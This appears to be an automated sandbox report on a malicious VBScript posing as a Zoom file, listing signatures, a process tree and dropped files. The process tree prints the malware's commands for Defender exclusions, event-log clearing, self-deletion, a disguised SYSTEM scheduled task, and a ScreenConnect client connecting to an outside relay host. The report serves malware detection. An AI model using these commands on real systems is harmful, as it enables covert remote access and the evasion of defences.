Analysis

  • max time kernel
    149s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 14:25

General

  • Target
    Zoom_exe.vbs
  • Size 27KB
  • Sample260723-rrmelsbd84
  • SHA256 96986991e6afc47c446c9f789014d6931ddc84d1f52257e77d8da915f985ed39
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Clears Windows event logs 1 TTPs 4 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4828
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs" uac
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:2868
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c title Windows System Service
        3⤵
        • Executes a command shell one-liner
        PID:1684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:272
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionProcess 'wscript.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5416
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionProcess 'msiexec.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5704
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\q0QZfhUjYm.msi" /qn /norestart
        3⤵
        • Suspicious use of SetWindowsHookEx
        PID:5056
      • C:\Windows\System32\wevtutil.exe
        "C:\Windows\System32\wevtutil.exe" cl System
        3⤵
        • Clears Windows event logs
        PID:1668
      • C:\Windows\System32\wevtutil.exe
        "C:\Windows\System32\wevtutil.exe" cl Application
        3⤵
        • Clears Windows event logs
        PID:4168
      • C:\Windows\System32\wevtutil.exe
        "C:\Windows\System32\wevtutil.exe" cl Security
        3⤵
        • Clears Windows event logs
        PID:1340
      • C:\Windows\System32\wevtutil.exe
        "C:\Windows\System32\wevtutil.exe" cl Microsoft-Windows-Windows Defender/Operational
        3⤵
        • Clears Windows event logs
        PID:2672
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs"
        3⤵
          PID:4640
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\~L33qub.bat" "
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1096
          • C:\Windows\system32\timeout.exe
            timeout /t 3 /nobreak
            4⤵
            • Delays execution with timeout.exe
            PID:2076
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn "AdobeUpdateTaskYFQY" /tr "cmd /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs"" /sc onstart /f /ru SYSTEM
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1300
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4496
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding BCDF4DC0142DE8256AE35B7ACADD4A25
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1044
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSIEF19.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240775375 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4716
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D80317E9C3E81AD753FB2804F0B23107 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4644
    • C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=panel.munchyyyyyscpann.live&p=8041&s=e790e790-b124-4e9e-a2a5-d66bc26c6316&k=BgIAAACkAABSU0ExAAgAAAEAAQCpFELtUVjqFdXQRmLr%2fXrGdiSCqVQKdX1haAtUgQjjDZILzr0vR73mXrkeJaEeJAC98qTgFzXzVkAgALWFr2vHGuR9fy3zg3TDWjGGnk1afT8YvPkNMW8P4CXFhgtQGm%2fP4ueQr4kF2kh1cG8zzQV0%2fh%2fTkY74whERRw8TJJ9KgX9LPDbbjlrUtIjaFj0DPgmWbMRSvv0u6%2bA2KTCmybPbD8WG1liQlPVyNQ7yRQpXFcvCVOKB%2blgMjNfD4%2fFhWTScVfGgrUh61h72uf%2beqTSKJHGuMZRwXhx%2fFkuyEOn0RY0T0FcxpSMqcvrFxXRFGMzVjtpDkL0rIbzXm7LcgJmq"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:6112
      • C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe" "RunRole" "033f24e0-8142-47a0-aa71-30578a55eb72" "User"
        2⤵
        • Executes dropped EXE
        PID:5336
      • C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe" "RunRole" "5c09ff0e-23eb-4a67-945e-5a55da97eb3d" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5000
    • C:\Windows\system32\msiexec.exe
      msiexec /i "C:\Users\Admin\AppData\Local\Temp\~msi.tmp" /qn
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:5488
    • C:\Windows\system32\cmd.exe
      cmd
      1⤵
        PID:2784

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e59ec3e.rbs

            • Path C:\Config.Msi\e59ec3e.rbs
            • Size 214KB
            • SHA256 6e87f820157d5b601c34ffb7d93f68717adf2f3f0ea518a99e2be5dd4d128ecc
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.Override.en-US.resources
            • Size 251B
            • SHA256 f8c6ffac6cb3413f082100c33adc6a644d92f43ce8412bfae72fad5a2659b5fe
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.Override.resources
            • Size 270KB
            • SHA256 7e51f0484f633d26551de004887ec9c90c943f2de1f099027fefaa04581f9a23
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.en-US.resources
            • Size 48KB
            • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.resources
            • Size 26KB
            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe
            • Size 588KB
            • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 822KB
            • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\app.config
            • Size 1KB
            • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\system.config
            • Size 951B
            • SHA256 e499aba863f736a12bc47d55d0690f8bd4c4e677d50c91ed50467135382b45dd
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 37e9ef16984c276199f0598bcc020f730092539d2319900d288730a9101d5006
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_xptgdot0.e1r.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xptgdot0.e1r.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            q0QZfhUjYm.msi

            • Path C:\Users\Admin\AppData\Local\Temp\q0QZfhUjYm.msi
            • Size 13.5MB
            • SHA256 9f67f094f5b463b3c271636b76349ae209c107231dc6877538365936962d1f70
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ~L33qub.bat

            • Path C:\Users\Admin\AppData\Local\Temp\~L33qub.bat
            • Size 169B
            • SHA256 7b2f17d4a191dccf3a7692f8e6c186dbd7e24a77f3436f5873b3f31c764db99f
            • MD5 SHA1 SHA512 TLSH

            MSIEF19.tmp

            • Path C:\Windows\Installer\MSIEF19.tmp
            • Size 1.0MB
            • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Windows\Installer\MSIEF19.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Windows\Installer\MSIEF19.tmp-\ScreenConnect.Core.dll
            • Size 536KB
            • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Windows\Installer\MSIEF19.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Windows\Installer\MSIEF19.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSIF65E.tmp

            • Path C:\Windows\Installer\MSIF65E.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/272-2-0x000001B69CB40000-0x000001B69CB62000-memory.dmp

            memory/272-7-0x000001B6B4BC0000-0x000001B6B4BCA000-memory.dmp

            memory/272-6-0x000001B6B4E20000-0x000001B6B4ED2000-memory.dmp

            memory/272-5-0x000001B6B4BA0000-0x000001B6B4BBE000-memory.dmp

            memory/4496-153-0x000002490BAA0000-0x000002490C444000-memory.dmp

            memory/4716-65-0x00000000064F0000-0x0000000006AAA000-memory.dmp

            memory/4716-64-0x0000000005D80000-0x0000000005F2A000-memory.dmp

            memory/4716-52-0x0000000003990000-0x00000000039BE000-memory.dmp

            memory/4716-60-0x0000000005A80000-0x0000000005B0C000-memory.dmp

            memory/4716-56-0x00000000059E0000-0x00000000059EA000-memory.dmp

            memory/5336-147-0x000000001B4F0000-0x000000001B57C000-memory.dmp

            memory/5336-145-0x0000000000800000-0x0000000000896000-memory.dmp

            memory/5336-150-0x0000000002AC0000-0x0000000002AD8000-memory.dmp

            memory/5336-151-0x0000000002C80000-0x0000000002C98000-memory.dmp

            memory/5336-146-0x0000000002B00000-0x0000000002B36000-memory.dmp

            memory/5336-149-0x000000001BDA0000-0x000000001BF28000-memory.dmp

            memory/5336-148-0x000000001BA60000-0x000000001BC0A000-memory.dmp

            memory/5416-14-0x0000026FDEF80000-0x0000026FDF032000-memory.dmp

            memory/5704-21-0x0000020349B40000-0x0000020349BF2000-memory.dmp

            memory/6112-104-0x00000000023B0000-0x00000000023C8000-memory.dmp

            memory/6112-128-0x0000000005030000-0x0000000005102000-memory.dmp

            memory/6112-122-0x0000000004CC0000-0x0000000004D01000-memory.dmp

            memory/6112-120-0x0000000004E40000-0x0000000004ED2000-memory.dmp

            memory/6112-119-0x0000000004D60000-0x0000000004D96000-memory.dmp

            memory/6112-115-0x0000000004D10000-0x0000000004D60000-memory.dmp